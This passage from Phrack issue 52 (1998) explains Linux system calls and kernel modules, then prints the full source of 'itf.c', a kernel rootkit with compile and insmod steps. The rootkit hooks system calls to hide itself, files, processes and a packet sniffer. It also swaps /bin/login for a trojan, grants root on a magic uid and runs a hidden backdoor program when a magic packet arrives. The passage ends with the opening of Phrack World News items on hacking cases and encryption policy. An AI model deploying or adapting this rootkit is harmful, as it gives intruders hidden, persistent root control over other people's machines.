_ret_from_sys_call() to check various stuff, and ultimately returns to user
|
||
memory.
|
||
|
||
|
||
----[ libc wrappers
|
||
|
||
The int $0x80 isn't used directly for system calls; rather, libc functions,
|
||
which are often wrappers to interrupt 0x80, are used.
|
||
|
||
libc is actually the user space interface to kernel functions.
|
||
|
||
libc generally features the system calls using the _syscallX() macros, where X
|
||
is the number of parameters for the system call.
|
||
|
||
For example, the libc entry for write(2) would be implemented with a _syscall3
|
||
macro, since the actual write(2) prototype requires 3 parameters. Before
|
||
calling interrupt 0x80, the _syscallX macros are supposed to set up the stack
|
||
frame and the argument list required for the system call. Finally, when the
|
||
_system_call() (which is triggered with int $0x80) returns, the _syscallX()
|
||
macro will check for a negative return value (in %eax) and will set errno
|
||
accordingly.
|
||
|
||
Let's check another example with write(2) and see how it gets preprocessed.
|
||
|
||
[root@plaguez kernel]# cat no2.c
|
||
#include <linux/types.h>
|
||
#include <linux/fs.h>
|
||
#include <sys/syscall.h>
|
||
#include <asm/unistd.h>
|
||
#include <sys/types.h>
|
||
#include <stdio.h>
|
||
#include <errno.h>
|
||
#include <fcntl.h>
|
||
#include <ctype.h>
|
||
|
||
_syscall3(ssize_t,write,int,fd,const void *,buf,size_t,count);
|
||
|
||
main()
|
||
{
|
||
char *t = "this is a test.\n";
|
||
write(0, t, strlen(t));
|
||
}
|
||
[root@plaguez kernel]# gcc -E no2.c > no2.C
|
||
[root@plaguez kernel]# indent no2.C -kr
|
||
indent:no2.C:3304: Warning: old style assignment ambiguity in "=-".
|
||
Assuming "= -"
|
||
|
||
[root@plaguez kernel]# tail -n 50 no2.C
|
||
|
||
|
||
#9 "no2.c" 2
|
||
|
||
|
||
|
||
|
||
ssize_t write(int fd, const void *buf, size_t count)
|
||
{
|
||
long __res;
|
||
__asm__ __volatile("int $0x80":"=a"(__res):"0"(4), "b"((long) (fd)),
|
||
"c"((long) (buf)), "d"((long) (count)));
|
||
if (__res >= 0)
|
||
return (ssize_t) __res;
|
||
errno = -__res;
|
||
return -1;
|
||
};
|
||
|
||
main()
|
||
{
|
||
char *t = "this is a test.\n";
|
||
write(0, t, strlen(t));
|
||
}
|
||
[root@plaguez kernel]# exit
|
||
|
||
|
||
|
||
Note that the '4' in the write() function above matches the SYS_write
|
||
definition in /usr/include/sys/syscall.h.
|
||
|
||
|
||
----[ Writing your own system calls.
|
||
|
||
There are a few ways to create your own system calls. For example, you could
|
||
modify the kernel sources and append your own code. A far easier way, however,
|
||
would be to write a loadable kernel module.
|
||
|
||
A loadable kernel module is nothing more than an object file containing code
|
||
that will be dynamically linked into the kernel when it is needed.
|
||
|
||
The main purposes of this feature are to have a small kernel, and to load a
|
||
given driver when it is needed with the insmod(1) command. It's also easier
|
||
to write a lkm than to write code in the kernel source tree.
|
||
|
||
With lkm, adding or modifying system calls is just a matter of modifying the
|
||
sys_call_table array, as we'll see in the example below.
|
||
|
||
|
||
----[ Writing a lkm
|
||
|
||
|
||
A lkm is easily written in C. It contains a chunk of #defines, the body of the
|
||
code, an initialization function called init_module(), and an unload function
|
||
called cleanup_module(). The init_module() and cleanup_module() functions
|
||
will be called at module loading and deleting. Also, don't forget that
|
||
modules are kernel code, and though they are easy to write, any programming
|
||
mistake can have quite serious results.
|
||
|
||
Here is a typical lkm source structure:
|
||
|
||
|
||
#define MODULE
|
||
#define __KERNEL__
|
||
|
||
#include <linux/config.h>
|
||
#ifdef MODULE
|
||
#include <linux/module.h>
|
||
#include <linux/version.h>
|
||
#else
|
||
#define MOD_INC_USE_COUNT
|
||
#define MOD_DEC_USE_COUNT
|
||
#endif
|
||
|
||
#include <linux/types.h>
|
||
#include <linux/fs.h>
|
||
#include <linux/mm.h>
|
||
#include <linux/errno.h>
|
||
#include <asm/segment.h>
|
||
#include <sys/syscall.h>
|
||
#include <linux/dirent.h>
|
||
#include <asm/unistd.h>
|
||
#include <sys/types.h>
|
||
#include <stdio.h>
|
||
#include <errno.h>
|
||
#include <fcntl.h>
|
||
#include <ctype.h>
|
||
|
||
int errno;
|
||
|
||
char tmp[64];
|
||
|
||
/* for example, we may need to use ioctl */
|
||
_syscall3(int, ioctl, int, d, int, request, unsigned long, arg);
|
||
|
||
int myfunction(int parm1,char *parm2)
|
||
{
|
||
int i,j,k;
|
||
/* ... */
|
||
}
|
||
|
||
int init_module(void)
|
||
{
|
||
/* ... */
|
||
printk("\nModule loaded.\n");
|
||
return 0;
|
||
}
|
||
|
||
void cleanup_module(void)
|
||
{
|
||
/* ... */
|
||
printk("\nModule unloaded.\n");
|
||
}
|
||
|
||
Check the mandatory #defines (#define MODULE, #define __KERNEL__) and
|
||
#includes (#include <linux/config.h> ...)
|
||
|
||
Also note that as our lkm will be running in kernel mode, we can't use libc
|
||
functions, but we can use system calls with the previously discussed
|
||
_syscallX() macros or call them directly using the pointers to functions
|
||
located in the sys_call_table array.
|
||
|
||
You would compile this module with 'gcc -c -O3 module.c' and insert it into
|
||
the kernel with 'insmod module.o' (optimization must be turned on).
|
||
|
||
As the title suggests, lkm can also be used to modify kernel code without
|
||
having to rebuild it entirely. For example, you could patch the write(2)
|
||
system call to hide portions of a given file. Seems like a good place for
|
||
backdoors, also: what would you do if you couldn't trust your own kernel?
|
||
|
||
|
||
----[ Kernel and system calls backdoors
|
||
|
||
|
||
The main idea behind this is pretty simple. We'll redirect those damn system
|
||
calls to our own system calls in a lkm, which will enable us to force the
|
||
kernel to react as we want it to. For example, we could hide a sniffer by
|
||
patching the IOCTL system call and masking the PROMISC bit. Lame but
|
||
efficient.
|
||
|
||
To modify a given system call, just add the definition of the extern void
|
||
*sys_call_table[] in your lkm, and have the init_module() function modify the
|
||
corresponding entry in the sys_call_table to point to your own code. The
|
||
modified call can then do whatever you wish it to, meaning that as all user
|
||
programs rely on those kernel calls, you'll have entire control of the system.
|
||
|
||
This point raises the fact that it can become very difficult to prevent
|
||
intruders from staying in the system when they've broken into it. Prevention
|
||
is still the best way to security, and hardening the Linux kernel is needed on
|
||
sensitive boxes.
|
||
|
||
|
||
----[ A few programming tricks
|
||
|
||
|
||
- Calling system calls within a lkm is pretty easy as long as you pass user
|
||
space arguments to the given system call. If you need to pass kernel space
|
||
arguments, you need to be sure to modify the fs register, or else
|
||
everything will fall on its face. It is just a matter of storing the
|
||
system call function in a "pointer to function" variable, and then using this
|
||
variable. For example:
|
||
|
||
#define MODULE
|
||
#define __KERNEL__
|
||
|
||
#include <linux/config.h>
|
||
#ifdef MODULE
|
||
#include <linux/module.h>
|
||
#include <linux/version.h>
|
||
#else
|
||
#define MOD_INC_USE_COUNT
|
||
#define MOD_DEC_USE_COUNT
|
||
#endif
|
||
|
||
#include <linux/types.h>
|
||
#include <linux/fs.h>
|
||
#include <linux/mm.h>
|
||
#include <linux/errno.h>
|
||
#include <asm/segment.h>
|
||
#include <sys/syscall.h>
|
||
|
||
#include <unistd.h>
|
||
#include <linux/unistd.h>
|
||
|
||
|
||
int errno;
|
||
|
||
/* pointer to the old setreuid system call */
|
||
int (*o_setreuid) (uid_t, uid_t);
|
||
/* the system calls vectors table */
|
||
extern void *sys_call_table[];
|
||
|
||
|
||
int n_setreuid(uid_t ruid, uid_t euid)
|
||
{
|
||
printk("uid %i trying to seteuid to euid=%i", current->uid, euid);
|
||
return (*o_setreuid) (ruid, euid);
|
||
}
|
||
|
||
|
||
int init_module(void)
|
||
{
|
||
o_setreuid = sys_call_table[SYS_setreuid];
|
||
sys_call_table[SYS_setreuid] = (void *) n_setreuid;
|
||
printk("swatch loaded.\n");
|
||
return 0;
|
||
}
|
||
|
||
void cleanup_module(void)
|
||
{
|
||
sys_call_table[SYS_setreuid] = o_setreuid;
|
||
printk("\swatch unloaded.\n");
|
||
}
|
||
|
||
- Hiding a module can be done in several ways. As Runar Jensen showed in
|
||
Bugtraq, you could strip /proc/modules on the fly, when a program tries to
|
||
read it. Unfortunately, this is somewhat difficult to implement and, as it
|
||
turns out, this is not a good solution since doing a
|
||
'dd if=/proc/modules bs=1' would show the module. We need to find another
|
||
solution. Solar Designer (and other nameless individuals) have a solution.
|
||
Since the module info list is not exported from the kernel, there is no direct
|
||
way to access it, except that this module info structure is used in
|
||
sys_init_module(), which calls our init_module()! Providing that gcc does not
|
||
fuck up the registers before entering our init_module(), it is possible to get
|
||
the register previously used for struct module *mp and then to get the address
|
||
of one of the items of this structure (which is a circular list btw). So, our
|
||
init_module() function will include something like that at its beginning:
|
||
|
||
int init_module()
|
||
{
|
||
register struct module *mp asm("%ebx"); // or whatever register it is in
|
||
*(char*)mp->name=0;
|
||
mp->size=0;
|
||
mp->ref=0;
|
||
...
|
||
}
|
||
|
||
Since the kernel does not show modules with no name and no references (=kernel
|
||
modules), our one won't be shown in /proc/modules.
|
||
|
||
|
||
----[ A practical example
|
||
|
||
|
||
Here is itf.c. The goal of this program is to demonstrate kernel backdooring
|
||
techniques using system call redirection. Once installed, it is very hard to
|
||
spot.
|
||
|
||
Its features include:
|
||
|
||
- stealth functions: once insmod'ed, itf will modify struct module *mp and
|
||
get_kernel_symbols(2) so it won't appear in /proc/modules or ksyms' outputs.
|
||
Also, the module cannot be unloaded.
|
||
|
||
- sniffer hidder: itf will backdoor ioctl(2) so that the PROMISC flag will be
|
||
hidden. Note that you'll need to place the sniffer BEFORE insmod'ing itf.o,
|
||
because itf will trap a change in the PROMISC flag and will then stop hidding
|
||
it (otherwise you'd just have to do a ifconfig eth0 +promisc and you'd spot
|
||
the module...).
|
||
|
||
- file hidder: itf will also patch the getdents(2) system calls, thus hidding
|
||
files containing a certain word in their filename.
|
||
|
||
- process hidder: using the same technic as described above, itf will hide
|
||
/procs/P<>D directories using argv entries. Any process named with the magic
|
||
name will be hidden from the procfs tree.
|
||
|
||
- execve redirection: this implements Halflife's idea discussed in P51.
|
||
If a given program (notably /bin/login) is execve'd, itf will execve
|
||
another program instead. It uses tricks to overcome Linux memory managment
|
||
limitations: brk(2) is used to increase the calling program's data segment
|
||
size, thus allowing us to allocate user memory while in kernel mode (remember
|
||
that most system calls wait for arguments in user memory, not kernel mem).
|
||
|
||
- socket recvfrom() backdoor: when a packet matching a given size and a given
|
||
string is received, a non-interactive program will be executed. Typicall use
|
||
is a shell script (which will be hidden using the magic name) that opens
|
||
another port and waits there for shell commands.
|
||
|
||
- setuid() trojan: like Halflife's stuff. When a setuid() syscall with uid ==
|
||
magic number is done, the calling process will get uid = euid = gid = 0
|
||
|
||
|
||
<++> lkm_trojan.c
|
||
/*
|
||
* itf.c v0.8
|
||
* Linux Integrated Trojan Facility
|
||
* (c) plaguez 1997 -- dube0866@eurobretagne.fr
|
||
* This is mostly not fully tested code. Use at your own risks.
|
||
*
|
||
*
|
||
* compile with:
|
||
* gcc -c -O3 -fomit-frame-pointer itf.c
|
||
* Then:
|
||
* insmod itf
|
||
*
|
||
*
|
||
* Thanks to Halflife and Solar Designer for their help/ideas.
|
||
*
|
||
* Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial.
|
||
*
|
||
*
|
||
*/
|
||
|
||
#define MODULE
|
||
#define __KERNEL__
|
||
|
||
|
||
#include <linux/config.h>
|
||
#include <linux/module.h>
|
||
#include <linux/version.h>
|
||
|
||
#include <linux/types.h>
|
||
#include <linux/fs.h>
|
||
#include <linux/mm.h>
|
||
#include <linux/errno.h>
|
||
#include <asm/segment.h>
|
||
#include <asm/pgtable.h>
|
||
#include <sys/syscall.h>
|
||
#include <linux/dirent.h>
|
||
#include <asm/unistd.h>
|
||
#include <sys/types.h>
|
||
#include <sys/socket.h>
|
||
#include <sys/socketcall.h>
|
||
#include <linux/netdevice.h>
|
||
#include <linux/if.h>
|
||
#include <linux/if_arp.h>
|
||
#include <linux/if_ether.h>
|
||
#include <linux/proc_fs.h>
|
||
#include <stdio.h>
|
||
#include <errno.h>
|
||
#include <fcntl.h>
|
||
#include <ctype.h>
|
||
|
||
|
||
/* Customization section
|
||
* - RECVEXEC is the full pathname of the program to be launched when a packet
|
||
* of size MAGICSIZE and containing the word MAGICNAME is received with recvfrom().
|
||
* This program can be a shell script, but must be able to handle null **argv (I'm too lazy
|
||
* to write more than execve(RECVEXEC,NULL,NULL); :)
|
||
* - NEWEXEC is the name of the program that is executed instead of OLDEXEC
|
||
* when an execve() syscall occurs.
|
||
* - MAGICUID is the numeric uid that will give you root when a call to setuid(MAGICUID)
|
||
* is made (like Halflife's code)
|
||
* - files containing MAGICNAME in their full pathname will be invisible to
|
||
* a getdents() system call.
|
||
* - processes containing MAGICNAME in their process name will be hidden of the
|
||
* procfs tree.
|
||
*/
|
||
#define MAGICNAME "w00w00T$!"
|
||
#define MAGICUID 31337
|
||
#define OLDEXEC "/bin/login"
|
||
#define NEWEXEC "/.w00w00T$!/w00w00T$!login"
|
||
#define RECVEXEC "/.w00w00T$!/w00w00T$!recv"
|
||
#define MAGICSIZE sizeof(MAGICNAME)+10
|
||
|
||
/* old system calls vectors */
|
||
int (*o_getdents) (uint, struct dirent *, uint);
|
||
ssize_t(*o_readdir) (int, void *, size_t);
|
||
int (*o_setuid) (uid_t);
|
||
int (*o_execve) (const char *, const char *[], const char *[]);
|
||
int (*o_ioctl) (int, int, unsigned long);
|
||
int (*o_get_kernel_syms) (struct kernel_sym *);
|
||
ssize_t(*o_read) (int, void *, size_t);
|
||
int (*o_socketcall) (int, unsigned long *);
|
||
/* entry points to brk() and fork() syscall. */
|
||
static inline _syscall1(int, brk, void *, end_data_segment);
|
||
static inline _syscall0(int, fork);
|
||
static inline _syscall1(void, exit, int, status);
|
||
|
||
extern void *sys_call_table[];
|
||
extern struct proto tcp_prot;
|
||
int errno;
|
||
|
||
char mtroj[] = MAGICNAME;
|
||
int __NR_myexecve;
|
||
int promisc;
|
||
|
||
|
||
|
||
/*
|
||
* String-oriented functions
|
||
* (from user-space to kernel-space or invert)
|
||
*/
|
||
|
||
char *strncpy_fromfs(char *dest, const char *src, int n)
|
||
{
|
||
char *tmp = src;
|
||
int compt = 0;
|
||
|
||
do {
|
||
dest[compt++] = __get_user(tmp++, 1);
|
||
}
|
||
while ((dest[compt - 1] != '\0') && (compt != n));
|
||
|
||
return dest;
|
||
}
|
||
|
||
|
||
int myatoi(char *str)
|
||
{
|
||
int res = 0;
|
||
int mul = 1;
|
||
char *ptr;
|
||
|
||
for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
|
||
if (*ptr < '0' || *ptr > '9')
|
||
return (-1);
|
||
res += (*ptr - '0') * mul;
|
||
mul *= 10;
|
||
}
|
||
return (res);
|
||
}
|
||
|
||
|
||
|
||
/*
|
||
* process hiding functions
|
||
*/
|
||
struct task_struct *get_task(pid_t pid)
|
||
{
|
||
struct task_struct *p = current;
|
||
do {
|
||
if (p->pid == pid)
|
||
return p;
|
||
p = p->next_task;
|
||
}
|
||
while (p != current);
|
||
return NULL;
|
||
|
||
}
|
||
|
||
/* the following function comes from fs/proc/array.c */
|
||
static inline char *task_name(struct task_struct *p, char *buf)
|
||
{
|
||
int i;
|
||
char *name;
|
||
|
||
name = p->comm;
|
||
i = sizeof(p->comm);
|
||
do {
|
||
unsigned char c = *name;
|
||
name++;
|
||
i--;
|
||
*buf = c;
|
||
if (!c)
|
||
break;
|
||
if (c == '\\') {
|
||
buf[1] = c;
|
||
buf += 2;
|
||
continue;
|
||
}
|
||
if (c == '\n') {
|
||
buf[0] = '\\';
|
||
buf[1] = 'n';
|
||
buf += 2;
|
||
continue;
|
||
}
|
||
buf++;
|
||
}
|
||
while (i);
|
||
*buf = '\n';
|
||
return buf + 1;
|
||
}
|
||
|
||
|
||
|
||
int invisible(pid_t pid)
|
||
{
|
||
struct task_struct *task = get_task(pid);
|
||
char *buffer;
|
||
if (task) {
|
||
buffer = kmalloc(200, GFP_KERNEL);
|
||
memset(buffer, 0, 200);
|
||
task_name(task, buffer);
|
||
if (strstr(buffer, (char *) &mtroj)) {
|
||
kfree(buffer);
|
||
return 1;
|
||
}
|
||
}
|
||
return 0;
|
||
}
|
||
|
||
|
||
|
||
/*
|
||
* New system calls
|
||
*/
|
||
|
||
/*
|
||
* hide module symbols
|
||
*/
|
||
int n_get_kernel_syms(struct kernel_sym *table)
|
||
{
|
||
struct kernel_sym *tb;
|
||
int compt, compt2, compt3, i, done;
|
||
|
||
compt = (*o_get_kernel_syms) (table);
|
||
if (table != NULL) {
|
||
tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL);
|
||
if (tb == 0) {
|
||
return compt;
|
||
}
|
||
compt2 = 0;
|
||
done = 0;
|
||
i = 0;
|
||
memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym));
|
||
while (!done) {
|
||
if ((tb[compt2].name)[0] == '#')
|
||
i = compt2;
|
||
if (!strcmp(tb[compt2].name, mtroj)) {
|
||
for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++);
|
||
if (compt3 != (compt - 1))
|
||
memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym));
|
||
else
|
||
compt = i;
|
||
done++;
|
||
}
|
||
compt2++;
|
||
if (compt2 == compt)
|
||
done++;
|
||
|
||
}
|
||
|
||
memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym));
|
||
kfree(tb);
|
||
}
|
||
return compt;
|
||
|
||
}
|
||
|
||
|
||
|
||
/*
|
||
* how it works:
|
||
* I need to allocate user memory. To do that, I'll do exactly as malloc() does
|
||
* it (changing the break value).
|
||
*/
|
||
int my_execve(const char *filename, const char *argv[], const char *envp[])
|
||
{
|
||
long __res;
|
||
__asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
|
||
return (int) __res;
|
||
}
|
||
|
||
int n_execve(const char *filename, const char *argv[], const char *envp[])
|
||
{
|
||
char *test;
|
||
int ret, tmp;
|
||
char *truc = OLDEXEC;
|
||
char *nouveau = NEWEXEC;
|
||
unsigned long mmm;
|
||
|
||
test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
|
||
(void) strncpy_fromfs(test, filename, strlen(truc));
|
||
test[strlen(truc)] = '\0';
|
||
if (!strcmp(test, truc)) {
|
||
kfree(test);
|
||
mmm = current->mm->brk;
|
||
ret = brk((void *) (mmm + 256));
|
||
if (ret < 0)
|
||
return ret;
|
||
memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
|
||
ret = my_execve((char *) (mmm + 2), argv, envp);
|
||
tmp = brk((void *) mmm);
|
||
} else {
|
||
kfree(test);
|
||
ret = my_execve(filename, argv, envp);
|
||
}
|
||
return ret;
|
||
|
||
}
|
||
|
||
|
||
/*
|
||
* Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces.
|
||
* If we reset the PROMISC flag when the trojan is already running, then it
|
||
* won't hide it anymore (needed otherwise you'd just have to do an
|
||
* "ifconfig eth0 +promisc" to find the trojan).
|
||
*/
|
||
int n_ioctl(int d, int request, unsigned long arg)
|
||
{
|
||
int tmp;
|
||
struct ifreq ifr;
|
||
|
||
tmp = (*o_ioctl) (d, request, arg);
|
||
if (request == SIOCGIFFLAGS && !promisc) {
|
||
memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
|
||
ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC);
|
||
memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq));
|
||
} else if (request == SIOCSIFFLAGS) {
|
||
memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq));
|
||
if (ifr.ifr_flags & IFF_PROMISC)
|
||
promisc = 1;
|
||
else if (!(ifr.ifr_flags & IFF_PROMISC))
|
||
promisc = 0;
|
||
}
|
||
return tmp;
|
||
|
||
}
|
||
|
||
|
||
/*
|
||
* trojan setMAGICUID() system call.
|
||
*/
|
||
int n_setuid(uid_t uid)
|
||
{
|
||
int tmp;
|
||
|
||
if (uid == MAGICUID) {
|
||
current->uid = 0;
|
||
current->euid = 0;
|
||
current->gid = 0;
|
||
current->egid = 0;
|
||
return 0;
|
||
}
|
||
tmp = (*o_setuid) (uid);
|
||
return tmp;
|
||
}
|
||
|
||
|
||
/*
|
||
* trojan getdents() system call.
|
||
*/
|
||
int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
|
||
{
|
||
unsigned int tmp, n;
|
||
int t, proc = 0;
|
||
struct inode *dinode;
|
||
struct dirent *dirp2, *dirp3;
|
||
|
||
tmp = (*o_getdents) (fd, dirp, count);
|
||
|
||
#ifdef __LINUX_DCACHE_H
|
||
dinode = current->files->fd[fd]->f_dentry->d_inode;
|
||
#else
|
||
dinode = current->files->fd[fd]->f_inode;
|
||
#endif
|
||
|
||
if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
|
||
proc = 1;
|
||
if (tmp > 0) {
|
||
dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
|
||
memcpy_fromfs(dirp2, dirp, tmp);
|
||
dirp3 = dirp2;
|
||
t = tmp;
|
||
while (t > 0) {
|
||
n = dirp3->d_reclen;
|
||
t -= n;
|
||
if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \
|
||
||(proc && invisible(myatoi(dirp3->d_name)))) {
|
||
if (t != 0)
|
||
memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
|
||
else
|
||
dirp3->d_off = 1024;
|
||
tmp -= n;
|
||
}
|
||
if (dirp3->d_reclen == 0) {
|
||
/*
|
||
* workaround for some shitty fs drivers that do not properly
|
||
* feature the getdents syscall.
|
||
*/
|
||
tmp -= t;
|
||
t = 0;
|
||
}
|
||
if (t != 0)
|
||
dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
|
||
|
||
|
||
}
|
||
memcpy_tofs(dirp, dirp2, tmp);
|
||
kfree(dirp2);
|
||
}
|
||
return tmp;
|
||
|
||
}
|
||
|
||
|
||
/*
|
||
* Trojan socketcall system call
|
||
* executes a given binary when a packet containing the magic word is received.
|
||
* WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM.
|
||
*/
|
||
|
||
int n_socketcall(int call, unsigned long *args)
|
||
{
|
||
int ret, ret2, compt;
|
||
char *t = RECVEXEC;
|
||
unsigned long *sargs = args;
|
||
unsigned long a0, a1, mmm;
|
||
void *buf;
|
||
|
||
ret = (*o_socketcall) (call, args);
|
||
if (ret == MAGICSIZE && call == SYS_RECVFROM) {
|
||
a0 = get_user(sargs);
|
||
a1 = get_user(sargs + 1);
|
||
buf = kmalloc(ret, GFP_KERNEL);
|
||
memcpy_fromfs(buf, (void *) a1, ret);
|
||
for (compt = 0; compt < ret; compt++)
|
||
if (((char *) (buf))[compt] == 0)
|
||
((char *) (buf))[compt] = 1;
|
||
if (strstr(buf, mtroj)) {
|
||
kfree(buf);
|
||
ret2 = fork();
|
||
if (ret2 == 0) {
|
||
mmm = current->mm->brk;
|
||
ret2 = brk((void *) (mmm + 256));
|
||
memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);
|
||
/* Hope the execve has been successfull otherwise you'll have 2 copies of the
|
||
master process in the ps list :] */
|
||
ret2 = my_execve((char *) mmm + 2, NULL, NULL);
|
||
}
|
||
}
|
||
}
|
||
return ret;
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
/*
|
||
* module initialization stuff.
|
||
*/
|
||
int init_module(void)
|
||
{
|
||
/* module list cleaning */
|
||
/* would need to make a clean search of the right register
|
||
* in the function prologue, since gcc may not always put
|
||
* struct module *mp in %ebx
|
||
*
|
||
* Try %ebx, %edi, %ebp, well, every register actually :)
|
||
*/
|
||
register struct module *mp asm("%ebx");
|
||
*(char *) (mp->name) = 0;
|
||
mp->size = 0;
|
||
mp->ref = 0;
|
||
/*
|
||
* Make it unremovable
|
||
*/
|
||
/* MOD_INC_USE_COUNT;
|
||
*/
|
||
o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms];
|
||
sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms;
|
||
|
||
o_getdents = sys_call_table[SYS_getdents];
|
||
sys_call_table[SYS_getdents] = (void *) n_getdents;
|
||
|
||
o_setuid = sys_call_table[SYS_setuid];
|
||
sys_call_table[SYS_setuid] = (void *) n_setuid;
|
||
|
||
__NR_myexecve = 164;
|
||
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
|
||
__NR_myexecve--;
|
||
o_execve = sys_call_table[SYS_execve];
|
||
if (__NR_myexecve != 0) {
|
||
sys_call_table[__NR_myexecve] = o_execve;
|
||
sys_call_table[SYS_execve] = (void *) n_execve;
|
||
}
|
||
promisc = 0;
|
||
o_ioctl = sys_call_table[SYS_ioctl];
|
||
sys_call_table[SYS_ioctl] = (void *) n_ioctl;
|
||
|
||
o_socketcall = sys_call_table[SYS_socketcall];
|
||
sys_call_table[SYS_socketcall] = (void *) n_socketcall;
|
||
return 0;
|
||
|
||
}
|
||
|
||
|
||
void cleanup_module(void)
|
||
{
|
||
sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms;
|
||
sys_call_table[SYS_getdents] = o_getdents;
|
||
sys_call_table[SYS_setuid] = o_setuid;
|
||
sys_call_table[SYS_socketcall] = o_socketcall;
|
||
|
||
if (__NR_myexecve != 0)
|
||
sys_call_table[__NR_myexecve] = 0;
|
||
sys_call_table[SYS_execve] = o_execve;
|
||
|
||
sys_call_table[SYS_ioctl] = o_ioctl;
|
||
}
|
||
<-->
|
||
|
||
----[ EOF
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 19 of 20
|
||
|
||
|
||
-------------------------[ P H R A C K W O R L D N E W S
|
||
|
||
Phrack World News - 52
|
||
|
||
New categorization:
|
||
-[ Stories
|
||
-[ Book Releases
|
||
-[ Conventions
|
||
-[ Other Headlines of Interest
|
||
|
||
--------[ Issue 52
|
||
|
||
|
||
0x1: Hacker Acquitted & Iraq Computerises
|
||
0x2: The Impact of Encryption on Public Safety
|
||
0x3: Urban Ka0s -- 26 Indonesian Servers Haxed
|
||
0x4: Hacker accused of sabotaging Forbes computers
|
||
0x5: Privacy, Inc. Unveils its Internet Background Check
|
||
0x6: Commerce Dept encryption rules declared unconstitutional
|
||
0x7: The Million Dollar Challenge
|
||
0x8: High Profile Detainee Seeks Legal Help
|
||
0x9: Kevin Mitnick Press Release
|
||
0xa: SAFE crypto bill cracked again
|
||
0xb: RC5 Cracked - The unknown message is...
|
||
0xc: Kashpureff in custody.
|
||
0xd: XS4ALL refuses Internet tap
|
||
0xe: The FCC Wants V-Chip in PCs too
|
||
|
||
1x1: Book Title: Underground (review)
|
||
1x2: Book Title: The Electronic Privacy Papers
|
||
1x3: Book Title: "Computer Security and Privacy: An Information Sourcebook..
|
||
|
||
2x0: Convention: <none>
|
||
|
||
3x1: Misc: Civil Liberties Groups ask FCC to Block FBI Proposal
|
||
3x2: Misc: Anti-Spam Bills in Congress
|
||
3x3: Misc: Justice Dept Charges Microsoft..
|
||
3x4: Misc: Small Minds Think Alike
|
||
3x5: Misc: Cyber Promotions tossed offline
|
||
|
||
0x1>-------------------------------------------------------------------------
|
||
|
||
[submitted by: the wizard of id]
|
||
|
||
Phrack,
|
||
|
||
I thought that you guys may be able to make use of these articles which I
|
||
found in my newspaper's IT section. Perhaps you should pass them on to the
|
||
editors of Phrack World News.
|
||
|
||
<start article 1>
|
||
|
||
Hacker Acquitted
|
||
================
|
||
Extract from The Age, Victoria, Australia. -Tuesday
|
||
11/25/97
|
||
|
||
The US Air Force failed last Friday to convince Woolwich Crown Court in
|
||
the UK that Matthew Bevan, 23, hacked into its secret files with his home
|
||
computer. Computer guru Bevan was cleared of all accusations, which led to
|
||
fears of US national security risk. He was charged with three offences of
|
||
"unauthorised access and modification" into sensitive research and
|
||
development files at New York's Griffiss Air Force Base and Lockheed Space
|
||
and Missle Company in California via the Internet.
|
||
|
||
|
||
<end article 1>
|
||
|
||
The article is accompanied by a very cool picture of Bevan in a black
|
||
suit, wearing mirrored sunglasses. :)
|
||
|
||
<start article 2>
|
||
|
||
Iraq Computerises
|
||
=================
|
||
Extract from The Age, Victoria, Australia. -Tuesday
|
||
11/25/97
|
||
|
||
To conceal its deadliest arms from U.N. weapons inspectors, Iraq increasingly
|
||
has turned to computers, including American brands sold to Baghdad since
|
||
the end of the 1991 Persian Gulf War in violation of international sanctions,
|
||
according to US officials and U.N. diplomats.
|
||
|
||
Iraq is using mostly Western-made computers for two cirtical functions: To
|
||
transfer data from bulky paper to small disks that they can easilly
|
||
disperse, making the information difficult for U.N. weapons inspection
|
||
teams to track.
|
||
|
||
For research and development in all four categories of weapons Iraq has
|
||
been forbidden from keeping under terms of the U.N. resolution ending the
|
||
war - nuclear, chemical and biological weapons and long-rnge missiles.
|
||
|
||
Because of shifting tactics, computer specialists have become an ever more
|
||
important component of the weapons inspections teams, US and U.N. sources
|
||
say.
|
||
|
||
Their work often involves digging into hard drives and unearthing material
|
||
that was erased after being transferred to disks.
|
||
|
||
<end article 2>
|
||
|
||
0x2>-------------------------------------------------------------------------
|
||
|
||
[submitted by: Mike Kretsch]
|
||
|
||
Statement of Louis J. Freeh, Director
|
||
Federal Bureau of Investigation
|
||
|
||
Before the Permanent Select Committee on
|
||
Intelligence, United States House of Representatives
|
||
Washington, D. C.
|
||
September 9, 1997
|
||
|
||
This man must be stopped. For other fun reading,
|
||
check out his statements about the FBI's International
|
||
Crime fighting efforts. Errrr. Wasnt international
|
||
supposed to be CIA and domestic FBI?
|
||
|
||
|
||
The Impact of Encryption
|
||
on Public Safety
|
||
|
||
|
||
